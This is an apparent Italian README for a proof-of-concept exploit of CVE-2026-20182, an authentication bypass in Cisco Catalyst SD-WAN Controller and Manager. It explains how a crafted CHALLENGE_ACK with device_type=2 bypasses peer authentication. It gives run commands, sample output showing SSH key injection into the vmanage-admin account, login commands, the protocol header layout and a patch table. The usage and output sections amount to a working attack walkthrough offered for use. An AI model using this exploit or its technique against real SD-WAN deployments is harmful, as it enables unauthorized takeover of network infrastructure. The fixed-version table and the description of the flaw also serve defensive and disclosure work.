
CVE-2026-20182 PoC - Cisco Catalyst SD-WAN Controller / Manager Authentication Bypass (CVSS 10.0)
Un proof-of-concept di exploit per CVE-2026-20182, un bypass critico (CVSS 10.0) dell'autenticazione nel servizio vdaemon DTLS (UDP/12346) su Cisco Catalyst SD-WAN Controller (vSmart) e Manager (vManage).
Divulgato: 14 maggio 2026 da Rapid7 (Stephen Fewer & Jonah Burgess)
CISA KEV: Aggiunto il 14 maggio 2026 (Direttiva d'Emergenza 26-03)
CVSS: 10.0 — CWE-287: Autenticazione Impropria
Il servizio vdaemon utilizza un handshake DTLS multifase per autenticare i peer del piano di controllo. La funzione vbond_proc_challenge_ack() implementa la verifica del certificato specifica per tipo di dispositivo — ma il tipo di dispositivo 2 (vHub) non ha alcun percorso di verifica. L'invio di un CHALLENGE_ACK con device_type=2 fa sì che la funzione passi attraverso ogni condizionale e imposti incondizionatamente peer->authenticated = 1.
Non sono richieste credenziali valide, né certificato firmato da CA, né conoscenza della distribuzione SD-WAN.
/home/vmanage-admin/.ssh/authorized_keys tramite MSG_VMANAGE_TO_PEER (msg_type=14)vmanage-adminpython3 cve-2026-20182.py -t <target> [options]
| Argomento | Descrizione |
|---|---|
-t, --target | IP o hostname del target |
--port | Porta UDP vdaemon (default: 12346) |
--key-file | Percorso di una chiave pubblica SSH esistente da iniettare (opzionale) |
--netconf | Verifica lo sfruttamento connettendosi a NETCONF via SSH |
# Genera una nuova coppia di chiavi e sfrutta
python3 cve-2026-20182.py -t 192.168.1.100
# Usa una chiave pubblica esistente
python3 cve-2026-20182.py -t 192.168.1.100 --key-file ~/.ssh/id_rsa.pub
# Sfrutta e verifica via NETCONF
python3 cve-2026-20182.py -t 192.168.1.100 --netconf
[*] Targeting 192.168.1.100:12346 (vdaemon DTLS)
[+] DTLS handshake complete (received msg_type=8, 1027 bytes)
[*] Sending CHALLENGE_ACK with device_type=2 (vHub) ...
[+] peer->authenticated = 1 (authentication bypassed!)
[*] Sending HELLO ...
[+] Peer is UP state (peering handshake bypass successful)
[*] Injecting SSH public key ...
[+] NETCONF: ssh -i /tmp/cve-2026-20182_key -o HostKeyAlgorithms=+ssh-rsa -p 830 [email protected]
[+] SSH: ssh -i /tmp/cve-2026-20182_key -o HostKeyAlgorithms=+ssh-rsa [email protected]
| Release | Versione Corretta |
|---|---|
| < 20.9 | Migrare a una release supportata |
| 20.9 | 20.9.9.1 |
| 20.10 | 20.12.7.1 |
| 20.11 | 20.12.7.1 |
| 20.12 | 20.12.5.4 / 20.12.6.2 / 20.12.7.1 |
| 20.13 | 20.15.5.2 |
| 20.14 | 20.15.5.2 |
| 20.15 | 20.15.4.4 / 20.15.5.2 |
| 20.16 | 20.18.2.2 |
| 20.18 | 20.18.2.2 |
| 26.1.1 | 26.1.1.1 |
cisco_sdwan_vhub_auth_bypass — Modulo ausiliario nel framework MetasploitL'intestazione del protocollo vdaemon è di 12 byte:
| Offset | Dimensione | Campo | Note |
|---|---|---|---|
| 0 | 1 | msg_type | Nibble basso = tipo, nibble alto = versione |
| 1 | 1 | device_info | Nibble alto = device_type, nibble basso = flags |
| 2 | 1 | flags | Valore standard 0xA0 |
| 3 | 1 | padding | Sempre 0x00 |
| 4-7 | 4 | domain_id | uint32 big-endian |
| 8-11 | 4 | site_id | uint32 big-endian |
Tipi di dispositivo: 1=vEdge, 2=vHub, 3=vSmart, 4=vBond, 5=vManage
openssl (per trasporto DTLS)cryptography (pip install cryptography)Questo exploit è destinato esclusivamente a operazioni autorizzate di red team, test di penetrazione e ricerca sulla sicurezza su sistemi per i quali si dispone di esplicita autorizzazione scritta. L'uso non autorizzato è illegale.